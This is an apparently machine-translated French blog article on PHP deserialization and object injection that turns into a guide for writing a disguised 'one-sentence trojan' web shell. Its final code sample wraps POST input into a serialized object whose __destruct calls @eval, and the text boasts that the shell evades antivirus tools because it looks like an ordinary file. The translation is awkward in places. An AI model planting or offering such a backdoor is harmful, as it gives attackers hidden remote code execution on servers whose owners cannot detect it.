Récemment, j'ai étudié les vulnérabilités de désérialisation de PHP avec mes amis, j'ai soudain pensé qu'utiliser les vulnérabilités de désérialisation pour écrire un cheval de Troie d'une phrase serait très efficace. Cet article partage principalement avec vous l'explication détaillée des vulnérabilités de désérialisation PHP, dans l'espoir d'aider tout le monde.
0x01 Désérialisation PHP
En parlant de désérialisation PHP, il faut d'abord parler brièvement de la sérialisation PHP. La sérialisation PHP convertit un objet, un tableau, une chaîne, etc. en un flux d'octets pour une transmission facile, comme le cross-scripting, etc. La désérialisation PHP consiste à restaurer le flux d'octets sérialisé en objets, caractères, tableaux, etc. Mais la sérialisation PHP est une méthode qui ne sauvegarde pas les objets.
<?php class A{ var $test = "demo"; } $a = new A(); // 生成a对象 $b = serialize($a); // 序列化a对象为b $c = unserialize($b); // 反序列化b对象为c print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";} echo "\n"; print_r($c->test); // 输出对象c中test的值:demo ?>
Il existe un corps de fonction spécial dans la classe PHP appelé fonction magique. Le nom de la fonction magique commence par le symbole __, tel que __construct, __destruct, __toString, __sleep, __wakeup, etc. Ces fonctions sont appelées automatiquement dans certaines situations, telles que __construct lorsqu'un objet est créé, __destruct lorsqu'un objet est détruit et __toString lorsqu'un objet est utilisé comme chaîne.
Lors de la désérialisation, s'il y a une fonction magique dans l'objet désérialisé, l'utilisation de la fonction unserialize() la déclenchera également. De cette façon, une fois que nous pouvons contrôler l’entrée unserialize(), cela peut provoquer une vulnérabilité d’injection d’objet.
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
Par exemple, dans le code ci-dessus, la charge utile construite est http://127.0.0.1:800/test.php?test=O:1:"A":1:{s : 4:"test" ;s:5:"hello";}
Après la désérialisation, la fonction _destruct sera appelée à la fin du script et la variable test sera écrasée pour afficher hello.
Nous pouvons utiliser cette vulnérabilité pour contrôler les variables d'entrée et les fusionner dans un objet sérialisé. Construisez ensuite une fonction magique, par exemple en appelant eval dans la fonction _destruct() pour exécuter les instructions dans l'objet sérialisé.
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test); } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>
Lien direct du hachoir :
Safety Dog :
Après tout, ce cheval de Troie ressemble trop à un fichier normal, donc l'effet anti-kill est très bon. Ici, nous avons uniquement testé le chien de sécurité et le bouclier D, et le reste est auto-testé.
Et cela peut conduire à de nombreuses déformations. Ici, nous n'utilisons que des vulnérabilités de désérialisation. D'autres vulnérabilités peuvent également être utilisées comme support de chevaux de Troie. Après tout, des vulnérabilités d'exécution de code cms sont découvertes. Avant, c'était encore un document extrêmement normal.
Recommandations associées :
php à propos de la vulnérabilité d'injection d'objets de désérialisation
Explication détaillée des principes de sérialisation et de désérialisation PHP
Compréhension approfondie de la sérialisation et de la désérialisation en php
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!